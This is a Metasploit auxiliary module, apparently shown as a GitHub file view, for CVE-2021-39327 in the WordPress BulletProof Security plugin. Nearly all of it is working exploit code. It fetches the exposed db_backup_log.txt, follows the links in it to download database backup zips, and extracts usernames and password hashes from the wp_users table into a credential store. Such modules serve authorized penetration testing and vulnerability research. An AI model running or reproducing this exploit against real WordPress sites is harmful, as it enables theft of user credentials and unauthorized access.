-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
wp_bulletproofsecurity_backups.rb
160 lines (146 loc) · 5.53 KB
/
wp_bulletproofsecurity_backups.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress BulletProof Security Backup Disclosure',
'Description' => %q{
The Wordpress plugin BulletProof Security, versions <= 5.1, suffers from an information disclosure
vulnerability, in that the db_backup_log.txt is publicly accessible. If the backup functionality
is being utilized, this file will disclose where the backup files can be downloaded.
After downloading the backup file, it will be parsed to grab all user credentials.
},
'Author' => [
'Ron Jost (Hacker5preme)', # EDB module/discovery
'h00die' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['EDB', '50382'],
['CVE', '2021-39327'],
['PACKETSTORM', '164420'],
['URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DisclosureDate' => '2021-09-17',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def parse_sqldump_fields(line)
# pull all fields
line =~ /\((.+)\)/
return nil if Regexp.last_match(1).nil?
fields = line.split(',')
# strip each field
fields.collect { |e| e ? e.strip : e }
end
def parse_sqldump(content, ip)
read_next_line = false
login = nil
hash = nil
content.each_line do |line|
if read_next_line
print_status("Found user line: #{line.strip}")
fields = parse_sqldump_fields(line)
username = fields[login].strip[1...-1] # remove quotes
password = fields[hash].strip[1...-1] # remove quotes
print_good(" Extracted user content: #{username} -> #{password}")
read_next_line = false
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(password),
private_data: password,
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
end
# INSERT INTO `wp_users` ( ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name )
next unless line.start_with?('INSERT INTO `wp_users`')
read_next_line = true
# process insert statement to find the fields we want
next unless hash.nil?
fields = parse_sqldump_fields(line)
login = fields.index('user_login')
hash = fields.index('user_pass')
end
end
def parse_log(content, ip)
base = nil
file = nil
content.each_line do |line|
if line.include? 'DB Backup File Download Link|URL: '
base = line.split(': ').last
base = base.split('/')
base = base[3, base.length] # strip off anything before the URI
base = "/#{base.join('/')}".strip
end
if line.include? 'Zip Backup File Name: '
file = line.split(': ').last
file = file.split('/').last.strip
end
next if base.nil? || file.nil?
vprint_status("Pulling: #{base}#{file}")
res = send_request_cgi({
'uri' => normalize_uri("#{base}#{file}")
})
base = nil
next unless res && res.code == 200
p = store_loot(file, 'application/zip', rhost, res.body, file)
print_good("Stored DB Backup #{file} to #{p}, size: #{res.body.length}")
Zip::File.open(p) do |zip_file|
zip_file.each do |inner_file|
is = inner_file.get_input_stream
sqldump = is.read
is.close
parse_sqldump(sqldump, ip)
end
end
end
end
def run_host(ip)
vprint_status('Checking if target is online and running Wordpress...')
fail_with(Failure::BadConfig, 'The target is not online and running Wordpress') unless wordpress_and_online?
vprint_status('Checking plugin installed and vulnerable')
checkcode = check_plugin_version_from_readme('bulletproof-security', '5.2')
fail_with(Failure::BadConfig, 'The target is not running a vulnerable bulletproof-security version') if checkcode == Exploit::CheckCode::Safe
print_status('Requesting Backup files')
['/wp-content/bps-backup/logs/db_backup_log.txt', '/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt'].each do |url|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, url)
})
# <65 in length will be just the banner, like:
# BPS DB BACKUP LOG
# ==================
# ==================
unless res && res.code == 200 && res.body.length > 65
print_error("#{url} not found on server or no data")
next
end
filename = url.split('/').last
p = store_loot(filename, 'text/plain', rhost, res.body, filename)
print_good("Stored #{filename} to #{p}, size: #{res.body.length}")
parse_log(res.body, ip)
end
end
end